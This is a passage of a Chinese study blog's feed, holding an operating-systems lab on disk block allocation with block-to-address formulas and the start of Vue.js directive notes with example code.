&lt;p&gt;&lt;em&gt;&lt;strong&gt;*磁盘初始化时把磁盘存储空间分成许多块（扇区），这些空间可以被多个用户共享。用户作业在执行期间常常要在磁盘上建立文件或把已经建立在磁盘上的文件删去，这就涉及到磁盘存储空间的分配和回收。一个文件存放到磁盘上，可以组织成顺序文件（连续文件）、链接文件（串联文件）、索引文件等，因此，磁盘存储空间的分配有两种方式，一种是分配连续的存储空间，另一种是可以分配不连续的存储空间。怎样有效地管理磁盘存储空间是操作系统应解决的一个重要问题，通过本实习使学生掌握磁盘存储空间的分配和回收算法。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*三、实习题目*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*本实习有三个题目，可以任选一个，*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*但不能与内存管理的题目类似*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*第一题：连续磁盘存储空间的分配和回收*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*[提示]：*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*(1)*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*要在磁盘上建立顺序文件时，必须把按序排列的逻辑记录依次存放在磁盘的连续存储空间中。可假定磁盘初始化时，已把磁盘存储空间划分成若干等长的块（扇区），按柱面号和盘面号的顺序给每一块确定一个编号。随着文件的建立、删除、磁盘存储空间被分成许多区（每一区包含若干块），有的区存放着文件，而有的区是空闲的。当要建立顺序文件时必须找到一个合适的空闲区来存放文件记录，当一个文件被删除时，则该文件占用的区应成为空闲区。为此可用一张空闲区表来记录磁盘存储空间中尚未占用的部分，格式如下：*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;em&gt;&lt;strong&gt;*序  号*&lt;/strong&gt;&lt;/em&gt;&lt;/th&gt;
&lt;th&gt;&lt;em&gt;&lt;strong&gt;*起始空闲块号*&lt;/strong&gt;&lt;/em&gt;&lt;/th&gt;
&lt;th&gt;&lt;em&gt;&lt;strong&gt;*空闲块个数*&lt;/strong&gt;&lt;/em&gt;&lt;/th&gt;
&lt;th&gt;&lt;em&gt;&lt;strong&gt;*状   态*&lt;/strong&gt;&lt;/em&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*1*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*5*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*6*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*未 分 配*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*2*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*14*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*3*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*未 分 配*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*3*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*21*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*30*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*未 分 配*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*4*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;&lt;strong&gt;*。。。*&lt;/strong&gt;&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*(2)*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*建立文件时，先查找空闲区表，从空闲区表中找出一个块数能满足要求的区，由起始空闲块号能依次推得可使用的其它块号。若不需要占用该区的所有块时，则剩余的块仍应为未分配的空闲块，这时要修改起始空闲块号和空闲块数。若占用了该区的所有块，则删去该空闲区。删除一个文件时，需要考虑空闲块的合并情况。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*磁盘存储空间的分配和回收算法类似于主存储器的可变分区方式的分配和回收。同学们可参考实习二的第一题。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*(3)*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*当找到空闲块后，必须启动磁盘把信息存放到指定的块中，启动磁盘必须给出由三个参数组成的物理地址：盘面号、柱面号和物理记录号（即扇区号）。故必须把找到的空闲块号换算成磁盘的物理地址。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*为了减少移臂次数，磁盘上的信息按柱面上各磁道顺序存放。现假定一个盘组共有200个柱面，（编号0-199）每个柱面有20个磁道（编号0-19，同一柱面上的各磁道分布在各盘面上，故磁道号即盘面号。），每个磁道被分成等长的6个物理记录（编号0-5，每个盘面被分成若干个扇区，故每个磁道上的物理记录号即为对应的扇区号）。那么，空闲块号与磁盘物理地址的对应关系如下：*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*则  物理记录号*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*=*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*空闲块号 % 6*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*磁道号=（空闲块号 / 6 ）% 20*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*柱面号=（空闲块号 / 6）/20*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*(4)*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*删除一个文件时，从文件目录表中可得到该文件在磁盘上的起始地址和逻辑记录个数，假定每个逻辑记录占磁盘上的一块，则可推算出归还后的起始空闲块号和块数，登记到空闲区表中。换算关系如下：*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*起始空闲块号=（柱面号*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*´*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*20+磁道号）*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*´*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*6+物理记录号*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*空闲块数=逻辑记录数*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*(5)*&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;&lt;strong&gt;*请设计磁盘存储空间的分配和回收程序，要求把分配到的空闲块转换成磁盘物理地址，把归还的磁盘空间转换成空闲块号。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;*要求能接受来自键盘的空间申请及释放请求，能*&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;*显示或打印分配及回收后的空闲区表以及分配到的磁盘空间的起始物理地址：包括柱面号、磁道号、物理记录号（扇区号）。*&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这个实验看起来复杂，实际做起来和第二个实验的可变分区管理内存的思路基本一样，只不过需要增加一个磁盘位置。&lt;/p&gt;
&lt;p&gt;运行截图：&lt;/p&gt;
&lt;p&gt;起始时，我分配了在块表中分配了3个表项，状态F表示未被使用&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;提示用户输入文件名，需要的空闲块：&lt;/p&gt;
&lt;p&gt;程序返回系统分配的起始块号，磁盘上的起始物理记录号，磁道号，柱面号&lt;/p&gt;
&lt;p&gt;并将文件的存储信息展示出来:&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;再存入一个：&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;释放空间时，只需要输入文件名称，即可从磁盘空间移除：&lt;/p&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Vue.js学习笔记</title>
      <link>https://weivwang.github.io/studynotes/vue.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Fri, 30 Apr 2021 20:43:36 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/vue.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;h2 id=&#34;引入-vue&#34;&gt;引入 Vue&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;!-- 开发环境版本，包含了有帮助的命令行警告 --&amp;gt;&lt;/span&gt;
&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://cdn.jsdelivr.net/npm/vue/dist/vue.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;!-- 生产环境版本，优化了尺寸和速度 --&amp;gt;&lt;/span&gt;
&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://cdn.jsdelivr.net/npm/vue&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vue-指令&#34;&gt;Vue 指令&lt;/h2&gt;
&lt;h3 id=&#34;v-text&#34;&gt;v-text&lt;/h3&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;app&amp;#34;&lt;/span&gt;&amp;gt;
  {{message}}
  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;h2&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;v-text&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;message+&amp;#39;!&amp;#39;&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;h2&lt;/span&gt;&amp;gt;
  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;h2&lt;/span&gt;&amp;gt;{{school.mobile}}&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;h2&lt;/span&gt;&amp;gt;
  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;h2&lt;/span&gt;&amp;gt;{{ names[0] }}&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;h2&lt;/span&gt;&amp;gt;
&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt;&amp;gt;

&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
  &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;app&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Vue&lt;/span&gt;({
    &lt;span style=&#34;color:#a6e22e&#34;&gt;el&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;#app&amp;#34;&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; {
      &lt;span style=&#34;color:#a6e22e&#34;&gt;message&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;hello vue!&amp;#34;&lt;/span&gt;,
      &lt;span style=&#34;color:#a6e22e&#34;&gt;school&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; {
        &lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;www&amp;#34;&lt;/span&gt;,
        &lt;span style=&#34;color:#a6e22e&#34;&gt;mobile&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2-12302-1&amp;#34;&lt;/span&gt;,
      },
      &lt;span style=&#34;color:#a6e22e&#34;&gt;names&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; [&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;www&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;hdsi&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;dsk&amp;#34;&lt;/span&gt;],
    },
  });
&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在标签里面直接指定 v-text = &amp;quot; &amp;ldquo;,会将标签文本全部替换为&amp;rdquo; &amp;ldquo;的内容&lt;/p&gt;
&lt;h3 id=&#34;v-html&#34;&gt;v-html&lt;/h3&gt;
&lt;p&gt;设置标签的 innerHtml，将文本解析为 html 结构&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;app&amp;#34;&lt;/span&gt;&amp;gt;
  {{message}}
  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;h2&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;v-html&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;content&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;h2&lt;/span&gt;&amp;gt;
&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt;&amp;gt;

&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
  &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;app&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Vue&lt;/span&gt;({
    &lt;span style=&#34;color:#a6e22e&#34;&gt;el&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;#app&amp;#34;&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; {
      &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;lt;a href=&amp;#39;#&amp;#39;&amp;#39;&amp;gt;v-html示例&amp;lt;/a&amp;gt;&amp;#34;&lt;/span&gt;,
    },
  });
&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;v-on&#34;&gt;v-on&lt;/h3&gt;
&lt;p&gt;为元素绑定事件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;app&amp;#34;&lt;/span&gt;&amp;gt;
  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;button&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;v-on&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;v-on:click&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;study&amp;#34;&lt;/span&gt; /&amp;gt;
  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;button&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;v-on简写&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;click&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;study&amp;#34;&lt;/span&gt; /&amp;gt;
&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt;&amp;gt;

&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
  &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;app&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Vue&lt;/span&gt;({
    &lt;span style=&#34;color:#a6e22e&#34;&gt;el&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;#app&amp;#34;&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;methods&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; {
      &lt;span style=&#34;color:#a6e22e&#34;&gt;study&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; () {
        &lt;span style=&#34;color:#a6e22e&#34;&gt;alert&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;开始学习&amp;#34;&lt;/span&gt;);
      },
    },
  });
&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;v-show&#34;&gt;v-show&lt;/h3&gt;
&lt;p&gt;v-show = &amp;ldquo;bool&amp;rdquo;, 用于决定元素是否显示，操作的是 display 属性&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;app&amp;#34;&lt;/span&gt;&amp;gt;
  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;img&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./bili.png&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;v-show&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;isShow&amp;#34;&lt;/span&gt; /&amp;gt;
  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;button&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;click&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;changeState&amp;#34;&lt;/span&gt;&amp;gt;切换显示状态&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;button&lt;/span&gt;&amp;gt;
&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt;&amp;gt;

&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
  &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;app&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Vue&lt;/span&gt;({
    &lt;span style=&#34;color:#a6e22e&#34;&gt;el&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;#app&amp;#34;&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;data&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; {
      &lt;span style=&#34;color:#a6e22e&#34;&gt;isShow&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
    },
    &lt;span style=&#34;color:#a6e22e&#34;&gt;methods&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; {
      &lt;span style=&#34;color:#a6e22e&#34;&gt;changeState&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; () {
        &lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;isShow&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;isShow&lt;/span&gt;;
      },
    },
  });
&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;v-if&#34;&gt;v-if&lt;/h3&gt;
&lt;p&gt;直接操作元素是否显示&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;app&amp;#34;&lt;/span&gt;&amp;gt;
  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;p&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;v-if&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;isShow&amp;#34;&lt;/span&gt;&amp;gt;v-if&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;p&lt;/span&gt;&amp;gt;
&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt;&amp;gt;
&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;
